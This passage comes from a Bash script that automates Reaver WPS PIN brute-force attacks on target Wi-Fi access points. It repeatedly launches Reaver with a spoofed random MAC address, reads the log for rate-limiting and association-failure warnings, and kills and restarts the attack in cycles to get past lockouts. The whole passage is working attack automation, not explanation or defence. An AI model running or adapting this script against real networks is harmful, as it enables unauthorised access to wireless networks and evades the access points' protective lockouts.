done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R6 == y || $USE_R6 == Y ]] && [[ $USE_LONG6 == y || $USE_LONG6 == Y ]] && [[ $USE_PIN6 == y || $USE_PIN6 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME6"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL6"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP6"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX6" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY6"
echo -e "$info Reaver live time                   = $yel$LIVE6 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME6-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL6 -b $TARGETAP6 -r $RX6:$RY6 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN6 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME6-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE6-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME6-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME6-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME6-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP6 (ESSID: $NMEWARN6)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE6 == n ] || [ $KEEP_FILE6 == N ]; then

          rm VARMAC_LOGS/$NAME6-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R7 == n || $USE_R7 == N ]] && [[ $USE_LONG7 == n || $USE_LONG7 == N ]] && [[ $USE_PIN7 == n || $USE_PIN7 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R7 == y || $USE_R7 == Y ]] && [[ $USE_LONG7 == n || $USE_LONG7 == N ]] && [[ $USE_PIN7 == n || $USE_PIN7 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX7" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY7"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -vv -x 60 -r $RX7:$RY7 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R7 == n || $USE_R7 == N ]] && [[ $USE_LONG7 == y || $USE_LONG7 == Y ]] && [[ $USE_PIN7 == n || $USE_PIN7 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE7-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME7-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME7-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME7-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP7 (ESSID: $NMEWARN7)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME7-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R7 == y || $USE_R7 == Y ]] && [[ $USE_LONG7 == y || $USE_LONG7 == Y ]] && [[ $USE_PIN7 == n || $USE_PIN7 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME7"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL7"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP7"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX7" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY7"
echo -e "$info Reaver live time                   = $yel$LIVE7 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME7-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL7 -b $TARGETAP7 -r $RX7:$RY7 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME7-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
